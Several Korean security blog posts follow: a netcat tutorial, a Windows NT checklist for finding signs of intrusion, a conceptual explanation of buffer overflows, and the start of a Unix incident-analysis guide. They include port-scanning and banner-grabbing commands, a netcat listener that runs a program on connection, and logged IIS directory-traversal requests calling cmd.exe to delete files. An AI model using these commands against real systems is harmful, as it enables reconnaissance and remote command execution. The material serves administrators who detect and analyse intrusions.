Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 매우 넓다.

 

옵션
usage: nc [options] [target host] [ports] 
-n : 호스트 네임과 포트를 숫자로만 입력받는다. 
-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있다. 
-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다. 
-u : TCP connection 대신에 UDP connection 이 이루어 진다. 
-p [port number or name]: local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다. 
-s [ip address or DNS]: local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다. 
-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다 nc를 server 로서 쓸때 사용. 
-e [filename]: -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다. 
connection 이 이루어 졌을 때 file을 exec 시킨다. -l 과 같이 사용되면 한 instance만을 사용하는 inetd와 비슷하다. 
-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다. 
-i [interval time]: nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 standard input의 한 라인씩 interval time마다 보내게 된다. 
-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션. 
-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize한다. 이때 주의 할 것은 -p가 -r을 override 한다는 것이다. 
-g : ?? 
-G : ?? 

사용
multi-port connection
nc는 한 호스트에 한 번에 여러 connection 을 만들수 있다. 이 때 다음과 같이 여러개의 포트를 기술할 수 있다.
nc [target host] 20-30 

이때 std input으로 입력되는 데이터는 한꺼번에 보내지게 된다.

port scanning
target host 의 지정된 범위내에서의 어떤 포트가 어떻게 사용되고 있는 가를 검색할 수 있다.

nc -v -w 3 -z wm.hanyang.ac.kr 20-30, 70-90

위의 명령은 다음 결과와 같이 20-30, 70-90 까지의 포트들에 대한 정보를 보여준다.
[xixi@wm xixi]$ nc -v -w 3 -z wm.hanyang.ac.kr 20-30, 70-90
iruril [127.0.0.1] 23 (telnet) open
iruril [127.0.0.1] 22 (ssh) open
iruril [127.0.0.1] 21 (ftp) open
iruril [127.0.0.1] 80 (http) open

이것보다 더 자세한 정보를 얻고자 할때는
echo QUIT | nc -v -w 3 [target host] [ports]
라고 하면 응답이나 에러메세지로부터 버전정보등도 얻을 수 있다.

[xixi@wm xixi]$ echo QUIT | nc -v -w 3 wm.hanyang.ac.kr 20-30, 70-90
iruril [127.0.0.1] 23 (telnet) open
????????iruril [127.0.0.1] 22 (ssh) open
SSH-1.99-OpenSSH_3.6.1p2
Protocol mismatch.
iruril [127.0.0.1] 21 (ftp) open
220 (vsFTPd 1.2.0)
221 Goodbye.
iruril [127.0.0.1] 80 (http) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Method Not Implemented</title>
</head><body>
<h1>Method Not Implemented</h1>
<p>QUIT to /index.html not supported.<br />
</p>
<hr />
<address>Apache/2.0.48 (Fedora) Server at wm.hanyang.ac.kr Port 80</address>
</body></html>
[xixi@wm xixi]$ 

simple data transfer agent
nc를 이용해 간단한 data 전송을 할 수 있다.

receiver : nc -l -p 1234 | uncompress -c | tar xvfp -
sender : tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234

substitute of inetd
nc를 이용해 inetd에 등록하지 않고, 별다른 네트웍 설정 없이 프로그램을 테스트할 수 있다.

nc -l -p [port] -e [filename]

/*test.c*/ #include < stdio.h > main(){ getchar(); printf("<html><head></head><body>햐하</body></html>\n"); 
nc -l -p 1234 -e test

이렇게 하면 간이 www server 도 된다. 

connection redirecting 
inetd.conf을 아래와 같은 형식으로 고쳐서 다른 서버로 redirecting을 할수 있다.

www stream tcp nowait /etc/tcpd /bin/nc -w 3 zero 80 

위의 것은 현재 서버에서 http서비스를 zero서버로 redirect시켰다. 

performance testing 
nc를 이용해서 큰 데이터를 서로 보내고 받음으로써 network의 performance를 테스트할수 있다.

[root@wm xixi]# yes AAAA | nc -v -v -l -p 1234 > /dev/nul& listening on [any] 1234 ... [1] 14861 [root@wm xixi]# yes BBBB | nc iruril 1234 > /dev/null & [2] 14865 connect to [127.0.0.1] from iruril [127.0.0.1] 33029[root@wm xixi]# 
[root@wm xixi]# kill % punt! sent 559853568, rcvd 438149120 [root@wm xixi]#

이 문서는 윈도우 NT 시스템이 해킹을 당했는지 여부를 알 수 있는 절차를 제공한다. 해킹을 당했다면 분석한 로그는 컴퓨터 포렌식스를 위한 자료로 활용될 수도 있다. 이 문서는 일반적인 분석절차이므로 시스템관리자는 운영중인 시스템환경에 맞게 적용하기를 권고한다.

 

1. 사용하지 않는 IP 대역이나 비정상적인 행위를 하는 로그를 점검한다.

▶ 이벤트 표시기(시작 ->프로그램 ->관리도구(공용) ->이벤트 표시기)를 실행하여 시스템, 보안, 애플리케이션 로그를 점검한다.

o 시스템 로그 점검

매개 변수 '/gjgjgjgjgjh'을(를) 가진 URL '/scripts/../../winnt/system32/cmd.exe'에서 시작한 스크립트가 구성된 시간 초과 기간 내에 응답하지 않았습니다. HTTP 서버가 스크립트를 종료하고 있습니다. 

매개 변수 '/c+del+"'을(를) 가진 URL '/scripts/../../winnt/system32/cmd.exe'에서 시작한 스크립트가 구성된 시간 초과 기간 내에 응답하지 않았습니다. HTTP 서버가 스크립트를 종료하고 있습니다.

o 보안 로그 점검

로그온 실패:
원인: 알 수 없는 사용자 이름 또는 잘못된 암호
사용자 이름: CHIEF
도메인: CERT
로그온 유형: 3
로그온 프로세스: KSecDD
인증 패키지: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
워크스테이션 이름: \\CHIEF

o 응용프로그램 로그 점검 예제

Microsoft FrontPage Server Extensions:
Error #20015 Message: Cannot open "C:\InetPub\wwwroot\trojanhorse.htm": no such file or directory.

침입탐지시스템(Firewall), 웹서버(IIS), 라우터를 운영하고 있다면 관련로그도 점검하여야 한다.

Top

2. 사용자 계정과 그룹을 점검한다.

도메인 사용자 관리자(시작 ->프로그램 ->관리도구(공용) ->도메인 사용자 관리자)를 실행하여 불법적인 계정이나 그룹의 생성여부를 점검한다.

o 사용자 계정 점검

C:\>net user
\\TESTNT에 대한 사용자 계정
----------------------------------------------------------------
Administrator chief FuckU
Guest IUSR_TESTNT IWAM_TESTNT
명령이 잘 실행되었습니다.

FuckU란 해커계정이 생성되어 있음을 알 수 있다.

o 글로벌그룹 계정 점검예제

C:\>net group
\\TESTNT에 대한 그룹 계정
-------------------------------------------------------------------
*Domain Admins *Domain Guests *Domain Users
*FuckYou
명령이 잘 실행되었습니다.

FuckYou란 불법 글로벌그룹 생성되어 있음을 알 수 있다.

o 로컬그룹 계정 점검예제

C:\>net localgroup
\\TESTNT에 대한 별명
---------------------------------------------------------------------------
*Account Operators *Administrators *Backup Operators
*FuckYouAll *Guests *MTS Trusted Impersonators
*Print Operators *Replicator *Server Operators
*Users
명령이 잘 실행되었습니다.

FuckYouAll 이란 불법 로컬그룹 생성되어 있음을 알 수 있다.

그리고 내장된 guest 계정이 사용안함으로 되어 있는지 점검한다.

Top

3. 모든 그룹에서 불법사용자를 점검한다.

디폴트 그룹에서 그룹에 속한 사용자들에게 특별한 권한을 준다. 즉, 예를 들면 Administrator 그룹에 속한 사용자는 로컬시스템에서 무엇이든지 할수 있고, Backup operators 그룹에 속한 사용자는 시스템상의 어떤 파일이든지 읽을수 있고, PowerUsers 그룹에 속한 사용자는 공유를 생성할 수 있다. 물론 이외에 다른 권한도 있다.

4. 사용자권한을 점검한다.

사용자와 그룹에 할당될수 있는 권한은 27가지가 있다.

5. 비인가된 응용프로그램이 실행되었는지 점검한다.

공격자가 백도어 프로그램을 심을 수 있는 방법은 여러 가지가 있다. 다음을 점검한다.

▶ 시작폴더를 점검한다. c:\winnt\profiles\(Administrator, All Users, Default

User 중 선택)\시작 메뉴\프로그램\시작프로그램 폴더를 점검한다. 혹은 시작-> 프로그램-> 시작프로그램을 클릭하여 간단히 확인할 수 도 있다.

※ 주의: 시작폴더가 2개 있다. 하나는 로컬사용자를 위한 것이고 다른 하나는 모든 사용자를 위한 것이다.

▶ 레지스트리를 점검한다.

레지스트리를 통한 일반적인 애플리케이션의 위치정보

o 레지스트리 리스트 점검

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\KnownDLLs
HKEY_LOCAL_MACHINE\System\ControlSet001\Control\Session Manager\KnownDLLs 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnceEx
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows ("run=" line)

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows ("run=" value)

Top

▶ 실행중인 불법서비스를 점검한다.

어떤 백도어 프로그램은 시스템 부팅시 시작되는 서비스로 설치된다. 이 백도어 서비스는 "서비스로 로그온 권한"을 가진 사용자에 의해 실행된다. 자동으로 실행되는 서비스를 점검하고, 트로이쟌이나 백도어 프로그램인지 점검한다.

다음은 레지스트리로부터 실행중인 서비스정보를 수집할 수 있는 간단한 배치화일이다. 실행하면 서비스키, 시작 값과 실행파일을 볼수 있다. 이 배치파일은 리소스킷에 있는 reg.exe를 사용한다.

o 배치파일을 이용한 점검

@echo off

REM The 'delims' parameter of PULLINFO1 and PULLINFO2 should be a single TAB. 

for /f "tokens=1 delims=[]" %%I in ('reg queryHKLM\SYSTEM\CurrentControlSet

\Services') do call :PULLINFO1 %%I

set START_TYPE=

goto :EOF 

:PULLINFO1

for /f "tokens=3 delims= " %%I in ('reg query HKLM\SYSTEM\CurrentControlSet

\Services\%1 ^| findstr "Start" ') do call :PULLINFO2 %1 %%I

goto :EOF 

:PULLINFO2

for /f "tokens=3,4 delims= " %%I in ('reg query HKLM\SYSTEM\CurrentControlSet

\Services\%1 ^| findstr "ImagePath" ') do call :SHOWINFO %1 %2 %%I %%J

goto :EOF 

:SHOWINFO

if /i {%2}=={0} set START_TYPE=Boot

if /i {%2}=={1} set START_TYPE=System

if /i {%2}=={2} set START_TYPE=Automatic

if /i {%2}=={3} set START_TYPE=Disabled 

if not "%4" == "" (echo %1 -%START_TYPE%- %3\%4) else (echo %1 -%START_TYPE%- %3)

goto :EOF

o reg 명령어를 이용한 점검

C:\Administrator>reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 

! REG.EXE VERSION 2.0 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Abiosdsk

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\abp480n5

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPIEC 

-----------------------중간생략-------------------------------- 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinMgmt

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinTrust

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Wmi

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\{C898773A-5CF1-4AAD-B822-4

D0EEA86B27}

Top

6. 변경된 시스템 바이너리 파일을 점검한다.

CD-ROM이나 기타 설치매체에서 설치된 초기 시스템 바이너리 정보를 복사한 후 주기적으로 비교한다. 또한 백업시 트로이쟌이나 백도어 파일이 있는지 미리 점검한다.

트로이쟌호스 프로그램을 정상 프로그램과 같은 파일 사이즈, timestamp 로 조작이 가능하다. 이런 경우는 MD5, Tripwire나 기타 무결성 점검도구를 이용하여 트로이쟌호스 프로그램을 탐지할 수 있다. 이런 무결성 점검도구는 공격자에 의해 조작되지 않도록 안전하게 보관하여야 한다.

또는 백신프로그램을 이용하여 바이러스, 백도어, 트로이쟌호스 프로그램을 점검 할 수 있다. 하지만 변종 프로그램이 지속적으로 나오기 때문에 백신 프로그램은 최신버전으로 업데이트 하여야 한다.

7. 시스템과 네트워크 환경설정을 점검한다.

WINS, DNS, IP 포워딩 같은 환경설정변경을 점검한다. 네트워드 환경설정 등록정보를 이용하거나 ipconfig /all 명령어를 이용하여 점검한다. 

o ipconfig 명령어를 이용한 점검

C:\Administrator>ipconfig /all 

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : chiefw2k
Primary DNS Suffix . . . . . . . : kisa.or.kr
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : kisa.or.kr
or.kr
Ethernet adapter 로컬 영역 연결:
Connection-specific DNS Suffix . :
Description . . . . . . . . : FE574B-3Com 10/100 LAN PCCard-Fast Ethernet
Physical Address. . . . . . . . . : 00-50-DA-D4-11-A4
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 172.16.2.202
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.2.1
DNS Servers . . . . . . . . . . . : 211.252.150.xxx
211.252.150.xxx

불필요한 네트워크 서비스가 실행중인지 점검한다. "netstat -an" 명령어를 이용하여 의심스러운 호스트의 접근이나 연결대기중인 의심스러운 포트를 점검한다.

Top

o netstat 명령어를 이용한 점검

C:\>netstat -na 

Active Connections 

Proto Local Address Foreign Address State

TCP 0.0.0.0:21 0.0.0.0:0 LISTENING

---------------------- 중간생략 ------------------------

TCP 0.0.0.0:31337 0.0.0.0:0 LISTENING

TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING

TCP 172.16.2.168:31337 172.16.2.154:1652 ESTABLISHED

UDP 0.0.0.0:135 *:*

UDP 172.16.2.168:137 *:*

UDP 172.16.2.168:138 *:*

백오리피스2000이 설치되었고, 연결되어 있음을 알수 있다.

o 배치파일을 이용한 점검

@echo off

for /f "tokens=1,2 delims=:" %%I in ( 'netstat -an ^| findstr "0.0.0.0:[1-9]"' ) do call : CLEAN %%I %%J

goto :EOF 

:CLEAN

set X=0

for /f "tokens=1,2,3 delims=TAB " %%A in ( 'findstr /I "\<%3/%1\>" port-numbers.txt' ) do call :SETUP %%A %%C %3 %1

if %X% == 0 echo %3/%1 ***UNKNOWN***

goto :EOF 

:SETUP

echo %3/%4 %1 %2

set X=1;

goto :EOF

port-numbers.txt 라는 파일이 필요하다. 이 파일에는 점검하고자 하는 포트를 정리한다. 첨부1. 참고

Top

8. 비인가된 파일공유를 점검한다.

명령프롬프트에서 net share 명령어를 이용하여 점검하거나 서버관리자를 이용하여 점검한다. 공유폴더의 끝에 "$" 표시가 있으면 이는 hidden share이다. 즉, 불법 공유폴더와 NT의 디폴트나 공유폴더에 비인가된 사용자가 연결되어 있는지 점검한다.

o net share 명령어를 이용한 점검

C:\>net share 

공유 이름 리소스 설명 

--------------------------------------------------------------

print$ C:\WINNT\system32\spool\drivers 프린터 드라이버

IPC$ Remote IPC

C$ C:\ Default share
ADMIN$ C:\WINNT Remote Admin
I386 C:\I386
QLaserSF LPT1: 스풀됨 QLaser SF710
명령이 잘 실행되었습니다.

o net use, net session 명령어를 이용하여 점검

o 서버관리자(시작->프로그램->관리도구(공용)->서버관리자)를 이용한 점검

FuckU 란 해커가 C 드라이버에 공유연결을 사용하고 있음을 찾을 수 있다.

Top

9. 실행중인 스케줄러를 점검한다.

"at" 명령어나 리소스 킷에 있는 WINAT 도구를 사용하여 점검한다.

o at 명령어를 이용한 점검

C:\>at
상태 ID 날짜 시간 명령줄
-------------------------------------------------------------
1 다음 29 오후 3:00 cmd.exe 

10. 불법프로세스를 점검한다.

작업관리자나 리소스 킷에 있는 pulist.exe나 tlist.exe를 이용하여 실행중인 프로세스를 점검한다. pulist 명령어를 이용하면 누가 프로세스를 실행시켰는지 알수 있다.

o tlist 명령어를 이용한 점검

C:\Administrator>tlist -t
System Process (0)
System (8)
smss.exe (200)
csrss.exe (228)
winlogon.exe (252) NetDDE Agent
services.exe (280)
mstask.exe (1188) SYSTEM AGENT COM WINDOW
svchost.exe (2204) ModemDeviceChange
dns.exe (1812)
---------------------- 중간생략 ------------------------
explorer.exe (1836) Program Manager
cmd.exe (2080) C:\WINNT.0\System32\cmd.exe - tlist -t
tlist.exe (2352)
IEXPLORE.EXE (2064) Microsoft Internet Explorer
regedt32.exe (1360) 레지스트리 편집기
mmc.exe (1988) 컴퓨터 관리
spade.exe (440) Spade - [Scan 172.16.2.200-172.16.2.202, finished]
tp4mon.exe (2420) Zoom Window
internat.exe (864)
conime.exe (2020

spade.exe 프로그램으로 스캔이 완료되었음을 알 수 있다.

Top

11. 이상한 파일이나 숨겨진 파일을 찾는다.

패스워드 크래킹 프로그램이나 다른 시스템의 패스워드 파일이 있는지 점검한다. 탐색기(보기 ->폴더 옵션 ->보기 ->모든 파일 표시)를 이용하여 숨겨진 파일을 찾거나, "dir /ah" 명령어를 이용하여 점검한다.

12. 파일 퍼미션 변경이나 레지스트리 키값의 변경을 점검한다.

리소스 킷의 xcacls.exe 프로그램을 이용하여 디렉토리별 파일들을 점검한다.

13. 사용자나 컴퓨터의 정책변화를 점검한다.

정책편집기(poledit.exe)에서 구성된 현재 정책의 복사본을 정리하여 주기적으로 변경되었는지 점검한다.

14. 시스템이 다른 도메인으로 변경되었는지 점검한다.

15. 한 시스템이 해킹을 당했다면 로컬 네트워크내의 모든 시스템을 점검한다.

첨부1. 윈도우 NT 4.0의 잘 알려진 서비스 포트정리

서비스(function)

포트(static ports)

Browsing
DHCP Lease
DHCP Manager
Directory Replication
DNS Administration
DNS Resolution
Event Viewer
File Sharing
Logon Sequence
NetLogon
Pass Through Validation
Performance Monitor
PPTP
Printing
Registry Editor
Server Manager
Trusts
User Manager
WinNT Diagnostics
WinNT Secure Channel
WINS Replication
WINS Manager
WINS Registration

UDP:137,138
UDP:67,68
TCP:135
UDP:138 TCP:139
TCP:135
UDP:53
TCP:139
TCP:139
UDP:137,138 TCP:139
UDP:138
UDP:137,138 TCP:139
TCP:139
TCP:1723 IP Protocol:47 (GRE)
UDP:137,138 TCP:139
TCP:139
TCP:139
UDP:137,138 TCP:139
TCP:139
TCP:139
UDP:137,138 TCP:139
TCP:42
TCP:135
TCP:137


[ Reference ]

1. http://www.cert.org/tech_tips/win_intruder_detection_checklist.html
2. http://www.cert.org/tech_tips/win-resources.html
3. http://www.cert.org/tech_tips/win-UNIX-system_compromise.html
4. http://www.boran.com/security/nt1.html
5. http://support.microsoft.com

 

// bbs.kobis.net/~macs911/hyuks911/www/windowsnt/hackanal.htm

'Security' 카테고리의 다른 글

[Linux] Web Hacking (Linux Server Security)  (0) 2017.01.08
Netcat  (0) 2017.01.08
버퍼 오버플로우(Buffer overflow)  (0) 2017.01.08
유닉스 피해시스템 분석  (0) 2017.01.08
SQL Injection 기법 정리  (0) 2017.01.08

[해킹기법]  버퍼 오버플로우(Buffer overflow)

 

보안에 관심 있는 사람이라면 "버퍼 오버플로우"란 용어가 낯설지 않을 것이며, 그 중 적극적인 관리자라면 인터넷에 널려있는 다양한 버퍼 오버플로우 exploit(공격코드)을 다운로드 받아서 테스트도 해 봤을 것이다. 그 결과는 어떠했나? Exploit 코드가 지시하는 컴파일 옵션과 대상 서버가 적절했다면 손쉽게 root 권한을 획득했을 것이다. 물론 공격에 성공했다고 '버퍼 오버플로우"에 대해서 모든 것을 안다고 자신 있게 말할 수 있는 사람은 그리 많지 않을 것이다. 

본 문서에서 "버퍼 오버플로우"의 A~Z까지를 설명할 필요는 없을 것이며(이미 뛰어난 문서들이 발표되어 있기 때문에) "버퍼 오버플로우"의 개념 이해를 목적으로 설명하겠다. 

"버퍼 오버플로우"란? 

말 그대로 버퍼를 넘치게(overflow) 하는 것을 의미하며, 풀어서 설명하면 메모리에 할당된 버퍼의 양을 초과하는 데이터를 입력하여 프로그램의 복귀 주소(return address)를 조작, 궁극적으로 해커가 원하는 코드를 실행하는 것이다. 여기에서 "버퍼(buffer)"란 프로그램 처리 과정에 필요한 데이터가 일시적으로 저장되는 공간으로 메모리의 스택(stack) 영역과 힙(heap) 영역이 여기에 속하며, "버퍼 오버플로우"가 이 두 가지 영역 중 어떤 것을 이용하느냐에 따라서 두 가지로 분류할 수 있다. 본 문서에서는 그 개념이 잘 알려져 있고 스택 기반의 버퍼 오버플로우에 초점을 맞춰서 설명하겠다. 이처럼 버퍼 오버플로우의 개념을 이해하기 위해서는 프로그래밍에 대한 기초 지식이 필요하며 이로 인하여 고급 해킹 기법으로 분류되고 있다. 

"버퍼 오버플로우"의 역사 

버퍼 오버플로우는 해킹 기법이 아닌 단순한 프로그램상의 문제로 처음 소개되었는데 1973년경 C언어의 데이터 무결성 문제로 그 개념이 처음 알려졌다. 
이후 1988년 모리스웜(Morris Worm)이 fingerd 버퍼 오버플로우를 이용했다는 것이 알려지면서 이 문제의 심각성이 인식되기 시작했으며, 1997년에는 온라인 보안잡지로 유명한 Phrack(7권 49호)에 Aleph One이 "Smashing The Stack For Fun And Profit"란 문서를 게재하면서 보다 널리 알려지게 됐다. 이 문서는 다양한 "버퍼 오버플로우" 공격을 유행시키는 계기가 됐으며 현재까지 해커 지망생들의 필독 문서로 자리잡아 오고 있다. 이후 "버퍼 오버플로우"는 SANS(www.sans.org)에서 매년 발표하는 TOP20 공격기법 가운데 상당수를 차지하면서 해커들의 꾸준한 사랑을 받아오고 있다. 


"버퍼 오버플로우"는 어떻게 이루어지는가? 

버퍼 오버플로우의 정확한 동작원리를 이해하기 위해서는 프로그램에 의해 데이터가 어떻게 저장되는가를 우선 이해해야 한다. 하나의 프로그램은 수많은 서브 루틴들로 구성되는데 이런 서브 루틴이 프로그램에 의해 호출될 때, 함수 변수와 서브 루틴의 복귀 주소(return address) 포인터를 스택(stack)이라는 논리적 데이터 구조에 저장하게 된다. 스택은 실행중인 프로그램이 필요로 하는 정보를 저장하는 메모리 영역이다. 서브 루틴이 종료될 때 운영체제는 그것을 호출한 프로그램에 제어권을 반환해야 하기 때문에, 복귀 포인터를 통해서 프로그램이 서브 루틴의 실행을 마치고 나서 되돌아갈 주소를 가리키게 된다. 

버퍼는 할당된 메모리 공간의 높은 주소에서 낮은 주소로 채워지며, 스택 영역에 마지막으로 들어가 데이터가 제일 먼저 빠져 나오는 LIFO(Last in, First out) 특정을 가지고 있다. 이런 LIFO 특성에 의해 가장 먼저 들어가 것(복귀 포인터)이 스택에서 가장 나중에 제거된다는 것을 기억해야 한다. 서브 루틴이 실행을 마치면 가장 나중에 행해지는 것은 복귀 포인터를 스택에서 제거하여 서브 루틴을 호출한 함수로 반환하는 것인데, 만약 이 포인터가 사용되지 않는다면 서브 루틴이 실행을 마쳤을 때 프로그램은 더 이상 어디로 진행해야 할지를 알 수 없을 것이다. 

포인터(pointer)는 메모리의 위치를 저장하는 변수이다. 프로그램 실행을 위한 목적으로 다른 코드로 이동할 때 어디에서 떠났는지를 기억하기 위해 포인터를 사용해야 하며, 만약 포인터를 사용하지 않는다면 서브 루틴의 실행이 끝나고 어디로 돌아와야 할지를 알 수 없을 것이다. 

이제 스택을 조작하게 되면 어떤 일이 일어나는지를 살펴 보겠다. 프로그램이 변수의 할당된 공간에 저장될 데이터의 크기를 검사하지 않고 크기에 제한을 두지 않는다면, 변수 공간은 넘치게 될 것이다. 즉, 버퍼에 오버플로우가 발생하면 저장된 데이터는 인접한 변수 영역도 침범할 것이며 결국에는 포인터 영역까지 침범하게 될 것이다. 해커는 이러한 데이터의 길이와 내용을 적절히 조정함으로써 버퍼 오버플로우를 일으키고 운영체제의 스택을 붕괴시켜 특정 코드가 실행되도록 한다. 해커가 보낸 데이터는 대개의 경우 특정 시스템에서 실행될 수 있는 기계어 코드와 복귀 포인터에 저장될 새로운 주소로 구성되어 있으며, 복귀 포인터에 저장될 새로운 주소는 다시 메모리의 스택 영역을 가리켜서 프로그램이 서브 루틴에서 반환될 때 해커가 작성한 명령어를 실행하게 되는 것이다. 

이때 고려해야 할 것은 공격 대상이 되는 프로그램이 무엇이든 간에 해커가 공격 코드는 프로그램이 실행되고 있는 권한으로 실행될 것이라는 점이다. 따라서 해커는 공격을 성공시켰을 경우에 시스템에 대한 최상위 권한을 얻기 위해, root 또는 administrator 권한으로 실행 중인 프로그램을 공격 대상으로 삼을 것이다. 

이론상으로는 매우 직관적인 것 같지만 실제로 이 공격을 실행하는 것은 간단한 작업이 아니다. 하지만 이런 과정이 어떻게 이뤄지는지 제대로 이해하지 못 하는 스크립트 키디(script kiddie)도 쉽게 공개된 공격 코드를 이용하여 버퍼 오버플로우 공격을 시도할 수 있으니 보안 관리자들에게 보다 많은 업무를 주는 상황이라고 할 수 있다. 


"버퍼 오버플로우" 취약성이 많은 이유는? 

많은 프로그램이 취약성을 갖는 중요한 이유는 오류 검사를 제대로 수행하지 않기 때문이다. 오류 검사를 수행하지 않는 큰 이유 중의 하나는 개발자가 근거 없는 특수한 가정을 하기 때문이며, 정상적인 환경에서 변수에 할당된 메모리의 크기가 충분하다고 과신하는 것도 문제가 된다. 취약한 프로그램일지라도 사용자들이 올바르게 사용하여 발표된 지 수 년이 지나도 아무런 문제 없이 동작해온 경우도 있다. 그러던 중 누군가가 갑자기 "만일 프로그램에 원래와 다른 종류의 정보를 넣으면 어떤 일이 생길까?", "프로그램에 기대되는 크기보다 더 많은 데이터를 넣으면 어떤 일이 일어날까?"하는 식의 궁금증을 갖게 되었고 오류 검사를 수행하지 않는 프로그램들은 그런 궁금증의 실험대상이 되어 해킹의 목표가 되고 있다. 

이 글을 마무리하며 

"버퍼 오버플로우" 공격은 취약한 프로그램을 대상으로 공격자가 원하는 코드를 실행시킬 수 있다는 측면에서 매우 위험하며, 그 결과로 얻는 피해 범위는 시스템을 중지시키는 것에서부터 관리자 권한을 얻는 것까지 다양하다. 
보안 관리자는 "버퍼 오버플로우"가 어떻게 동작하는지 이해하고, 평상시에 벤더에서 제공하는 소프트웨어 관련 패치 적용, 최소 권한으로의 프로그램 실행, 불필요한 서비스 제거, 침입차단시스템을 통한 유해 트래픽 차단을 통해 공격 피해 가능성을 최소화해야 한다. 
오늘 아무런 문제가 없었다 하더라고 내일 역시 안전할 것이라는 맹신을 버려야 한다. 지금 이 시간에도 지구 저편에서는 열심히 공격코드를 테스트하는 누군가가 있을 테니까….

'Security' 카테고리의 다른 글

Netcat  (0) 2017.01.08
Windows 피해시스템 분석  (0) 2017.01.08
유닉스 피해시스템 분석  (0) 2017.01.08
SQL Injection 기법 정리  (0) 2017.01.08
모의해킹 시나리오 정리  (0) 2017.01.08



I. 서론 

  만약 abuse”, “security, “webmater", “postmaster" 등의 메일 계정을 가지고 있다면 국외 침해사고대응팀(CSIRT, Computer Security Incidents Response Team) 또는 다른 사이트로부터 다음과 비슷한 내용의 메일을 받은 경험이 있을 것이다. 그리고 어떻게 대처해야 하는지 몰라서 당황해 한 경험을 해봤을 것이다.  

귀하사이트의 xxx.xxx.xxx.xxx 시스템에서 당사의 시스템으로 불법적인 접근이 탐지되었습니다. 해당 시스템의 사용자가 불법적인 침입을 시도 하고 있거나, 또는 귀사의 시스템이 해킹을 당한 것으로 판단되오니 확인해 보시고 조치해 주시기 바랍니다.그리고 결과를 통보해 주시기 바랍니다.  

         * 침해사고 발생시 이에 대응하는 방법 및 절차에 대해서는 CERTCC-KR-TR-2000-04(침해사고대응방법 및 절차)를 참조하기 바란다. http://www.certcc.or.kr/paper/cert.html 

  이러한 메일 또는 연락을 받은 경우, 대부분은 자신의 시스템이 이미 해킹을 당한 상태이며, 그리고 다른 시스템을 공격하는데 이용되고 있는 경우이다. 즉 공격자가 해당 시스템을 공격하여 침입한 다음 또 다른 시스템을 공격하는 것이다. 

  해당 시스템 관리자는 이러한 통지에 대하여 시스템을 조사하고 결과를 알려줄 필요가 있으며, 이는 사이트의 보안증진, 해킹사고의 확산 및 예방에 큰 도움이 된다. 피해 시스템에 대한 분석을 하지 않고 복구할 수 있는 방법(시스템 재 설치)이 존재하기는 하지만, 이는 지속적인 해킹 피해를 낳게 되고 사이트의 보안증진에 전혀 도움이 되지 않는다.  

  경우에 따라서 관리자는 공격자를 찾아 법적 대응을 하기 원할 수도 있으며, 무시하고 넘어갈 수도 있으며, 또는 극한 노여움으로 지구 끝까지 침입자를 추적하기 원할 수도 있다. 어떠한 경우든 관리자는 침입자가 어떻게 자신의 시스템을 공격했고, 그리고 어떠한 일을 했는지에 대하여 분석해야만 정확한 사고복구를 하고 재 침입을 막을 수 있게 된다.  

